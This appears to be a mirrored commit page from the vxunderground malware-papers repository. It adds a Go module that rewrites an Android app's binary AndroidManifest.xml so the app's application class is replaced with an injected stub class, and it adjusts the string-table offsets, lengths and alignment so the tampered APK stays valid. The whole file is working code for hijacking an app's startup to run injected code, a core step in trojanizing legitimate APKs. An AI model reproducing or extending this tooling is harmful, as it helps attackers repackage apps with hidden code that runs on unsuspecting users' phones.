mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2026-06-17 00:09:29 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,300 @@
|
||||
package manifest
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"common"
|
||||
"encoding/binary"
|
||||
"encoding/xml"
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
fileLenOffset = 0x4
|
||||
offsetTableOffset = 0x24
|
||||
offsetStringTableLen = 0xc
|
||||
stringTableInfoSizeOffset = 0x1c
|
||||
|
||||
// Name of application in our stub dex
|
||||
// It is MUST be longer than any average name
|
||||
newAppNameUTF8 = "aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa.InjectedApp"
|
||||
newAppNameUTF8Len = uint8(len(newAppNameUTF8))
|
||||
)
|
||||
|
||||
var alignCount uint32
|
||||
var oldAppNameUTF16 string
|
||||
var newAppNameUTF16 string
|
||||
var OldAppNameUTF8 string
|
||||
var PlainPath, _ = filepath.Abs("AndroidManifest_plaintext.xml")
|
||||
|
||||
func patchApplication() ([]byte, int) {
|
||||
|
||||
log.Printf("Getting original application name...")
|
||||
OldAppNameUTF8 = getAppName()
|
||||
log.Printf("Original applciation name = %s\n", OldAppNameUTF8)
|
||||
|
||||
if OldAppNameUTF8 == "" {
|
||||
log.Panic("Application name wasn't found")
|
||||
//TODO if not found - we should add our
|
||||
}
|
||||
|
||||
// read bytes from binary xml
|
||||
androidManifestRaw, err := ioutil.ReadFile(common.ManifestBinaryPath)
|
||||
if err != nil {
|
||||
log.Panicf("Failed to read %s", common.ManifestBinaryPath)
|
||||
}
|
||||
|
||||
log.Printf("Original manifest (binary) size = 0x%0x\n", len(androidManifestRaw))
|
||||
|
||||
// encode name to UTF-16
|
||||
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
|
||||
oldAppNameUTF16, err = encoder.String(OldAppNameUTF8)
|
||||
|
||||
// searching application name position in binary manifest
|
||||
pos := bytes.Index(androidManifestRaw, []byte(oldAppNameUTF16))
|
||||
|
||||
//get lenght of string
|
||||
originalLen := int(androidManifestRaw[pos-2]) * 2
|
||||
|
||||
log.Printf("pos = 0x%0x, original applciation name length = 0x%0x\n", pos, originalLen)
|
||||
|
||||
//patch length with new value. length = characters count
|
||||
// pos-2 - because every string is followed by len
|
||||
androidManifestRaw[pos-2] = newAppNameUTF8Len
|
||||
|
||||
//patch application name with new name
|
||||
// do not forget about alignment!
|
||||
newAppNameUTF16, err = encoder.String(newAppNameUTF8)
|
||||
newAppNameUTF16Len := len(newAppNameUTF16)
|
||||
|
||||
// how many bytes we add to manifest
|
||||
lenDiff := newAppNameUTF16Len - originalLen
|
||||
|
||||
//// we need enough space to insert our name
|
||||
androidManifestRawNew := make([]byte, len(androidManifestRaw)+newAppNameUTF16Len-originalLen)
|
||||
|
||||
log.Printf("new applciation name = %s, new application length = 0x%0x\n",
|
||||
newAppNameUTF8, newAppNameUTF16Len)
|
||||
|
||||
// copy everything until application name string
|
||||
copy(androidManifestRawNew, androidManifestRaw[:pos])
|
||||
|
||||
// copy our name
|
||||
copy(androidManifestRawNew[pos:], []byte(newAppNameUTF16))
|
||||
|
||||
// copy everything after name
|
||||
copy(androidManifestRawNew[pos+len([]byte(newAppNameUTF16)):], androidManifestRaw[pos+originalLen:])
|
||||
|
||||
// calc position where we should insert alignment bytes
|
||||
alignPos := (newAppNameUTF16Len - originalLen) + StringTableEndPos
|
||||
|
||||
log.Printf("alignPos = 0x%0x\n", alignPos)
|
||||
|
||||
// how many bytes we should insert?
|
||||
// The main idea - data after string table should be
|
||||
// aligned to 4 bytes
|
||||
alignCount = uint32(alignPos % 4)
|
||||
|
||||
log.Printf("align = %d\n", alignCount)
|
||||
|
||||
if alignCount != 0 {
|
||||
var alignSlice = make([]byte, alignCount)
|
||||
|
||||
// insert byte alignment
|
||||
androidManifestRawNew = append(androidManifestRawNew[:alignPos], append(alignSlice, androidManifestRawNew[alignPos:]...)...)
|
||||
|
||||
}
|
||||
|
||||
return androidManifestRawNew, lenDiff
|
||||
}
|
||||
|
||||
// we should find from what offset in StringOffsets
|
||||
// we should start changing offsets by incrementing them to
|
||||
// number of characters application name expanded
|
||||
// manifest_strings.dmp contains all strings
|
||||
// we should count strings after application name
|
||||
// it will be position of offset
|
||||
|
||||
func getAppNameOffset() uint32 {
|
||||
|
||||
// position in string offset
|
||||
//var appNameOff uint32 = 1
|
||||
var pos uint32
|
||||
|
||||
data, err := ioutil.ReadFile(ManifestStringsDmp)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// searching application name position in string dump
|
||||
// we substract 2 because real offset is the offset to strLen + str
|
||||
// but we found offset to just str
|
||||
pos = uint32(bytes.Index(data, []byte(oldAppNameUTF16)) - 2)
|
||||
|
||||
log.Printf("application name position in string dump = 0x%x", pos)
|
||||
|
||||
return pos
|
||||
}
|
||||
|
||||
func patchOffsetTable(data []byte, appNameOff, lenDiff uint32) {
|
||||
|
||||
var offset uint32
|
||||
|
||||
offsetTableReader := bytes.NewReader(data)
|
||||
|
||||
var j uint32 = 0
|
||||
for i := uint32(1); i <= StringCnt - appNameOff; i++ {
|
||||
|
||||
//read offset
|
||||
err := binary.Read(offsetTableReader, binary.LittleEndian, &offset)
|
||||
if err != nil {
|
||||
log.Panic("Failed to read offset", err)
|
||||
}
|
||||
|
||||
log.Printf("Original offset = 0x%x", offset)
|
||||
|
||||
//increment it to length of symbol added
|
||||
offset += lenDiff
|
||||
|
||||
log.Printf("New offset = 0x%x", offset)
|
||||
|
||||
binary.LittleEndian.PutUint32(data[j:], offset)
|
||||
j += 4
|
||||
}
|
||||
}
|
||||
|
||||
func patchStringTableLen(data []byte) {
|
||||
|
||||
var stringTableLen uint32
|
||||
|
||||
stringTableLenReader := bytes.NewReader(data)
|
||||
|
||||
err := binary.Read(stringTableLenReader, binary.LittleEndian, &stringTableLen)
|
||||
if err != nil {
|
||||
log.Panic("Failed to read offset", err)
|
||||
}
|
||||
|
||||
// calc how many bytes we added to manifest
|
||||
// it's a difference between new name and old name
|
||||
// *2 - because they are in UTF-16
|
||||
// IMPORTANT! stringTableLen - must be 4 byte aligned
|
||||
newLen := len(newAppNameUTF16)
|
||||
oldLen := len(oldAppNameUTF16)
|
||||
stringTableLenNew := uint32(int(stringTableLen) + newLen - oldLen)
|
||||
|
||||
// align
|
||||
stringTableLenNew += alignCount
|
||||
|
||||
binary.LittleEndian.PutUint32(data, stringTableLenNew)
|
||||
}
|
||||
|
||||
func Patch() {
|
||||
|
||||
var androidManifestRaw, lenDiff = patchApplication()
|
||||
|
||||
log.Printf("New manifest len = 0x%0x\n", len(androidManifestRaw))
|
||||
|
||||
// after we insert new application name we need to increase length of manifest len
|
||||
binary.LittleEndian.PutUint32(androidManifestRaw[fileLenOffset:], uint32(len(androidManifestRaw)))
|
||||
|
||||
var appNameOff = getAppNameOffset()
|
||||
|
||||
// search offset in manifest
|
||||
appNameOffArr := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(appNameOffArr, appNameOff)
|
||||
|
||||
pos := uint32(bytes.Index(androidManifestRaw, appNameOffArr))
|
||||
|
||||
log.Printf("application name offset in manifest = 0x%x", pos)
|
||||
|
||||
// we step to next offset after our found app name offset
|
||||
pos += 4
|
||||
|
||||
// locate the end of stringTableOffset (equals to the start of strings)
|
||||
var stringTableInfoSize uint32
|
||||
var stringOffsetTableEnd uint32
|
||||
|
||||
stringTableInfoSizeReader := bytes.NewReader(androidManifestRaw[stringTableInfoSizeOffset:])
|
||||
|
||||
err := binary.Read(stringTableInfoSizeReader, binary.LittleEndian, &stringTableInfoSize)
|
||||
if err != nil {
|
||||
log.Panic("Failed to read offset", err)
|
||||
}
|
||||
|
||||
log.Printf("stringTableInfoSize = 0x%x", stringTableInfoSize)
|
||||
|
||||
// 0x8 - start of StringTableInfo section
|
||||
stringOffsetTableEnd = 0x8 + stringTableInfoSize
|
||||
|
||||
log.Printf("stringOffsetTableEnd = 0x%x", stringOffsetTableEnd)
|
||||
|
||||
//start reading & patching
|
||||
offsetTableReader := bytes.NewReader(androidManifestRaw[pos:])
|
||||
|
||||
var j = pos
|
||||
var offset uint32
|
||||
for i := pos; i < stringOffsetTableEnd; {
|
||||
|
||||
//read offset
|
||||
err := binary.Read(offsetTableReader, binary.LittleEndian, &offset)
|
||||
if err != nil {
|
||||
log.Panic("Failed to read offset", err)
|
||||
}
|
||||
|
||||
//log.Printf("Original offset = 0x%x", offset)
|
||||
|
||||
//increment it to length of symbol added
|
||||
offset += uint32(lenDiff)
|
||||
|
||||
//log.Printf("New offset = 0x%x", offset)
|
||||
|
||||
//patch with new value
|
||||
binary.LittleEndian.PutUint32(androidManifestRaw[j:], offset)
|
||||
j += 4
|
||||
i += 4
|
||||
}
|
||||
|
||||
patchStringTableLen(androidManifestRaw[offsetStringTableLen:])
|
||||
|
||||
common.WriteChanges(androidManifestRaw, common.ManifestBinaryPath)
|
||||
}
|
||||
|
||||
// Search application name in decoded android manifest
|
||||
func getAppName() string {
|
||||
|
||||
// read manifest to byte array
|
||||
content, err := ioutil.ReadFile(PlainPath)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
//defer func() {
|
||||
// err = os.Remove(manifestPlainPath)
|
||||
//
|
||||
// if err != nil {
|
||||
// panic(err)
|
||||
// }
|
||||
//} ()
|
||||
|
||||
// structs for XML nodes
|
||||
type Application struct {
|
||||
Name string `xml:"name,attr"`
|
||||
}
|
||||
|
||||
type Result struct {
|
||||
XMLName xml.Name `xml:"manifest"`
|
||||
Application Application `xml:"application"`
|
||||
}
|
||||
|
||||
v := new(Result)
|
||||
|
||||
err = xml.Unmarshal(content, v)
|
||||
if err != nil {
|
||||
log.Panic("Failed to unmarshal XML", err)
|
||||
return ""
|
||||
}
|
||||
|
||||
return v.Application.Name
|
||||
}
|
||||
Reference in New Issue
Block a user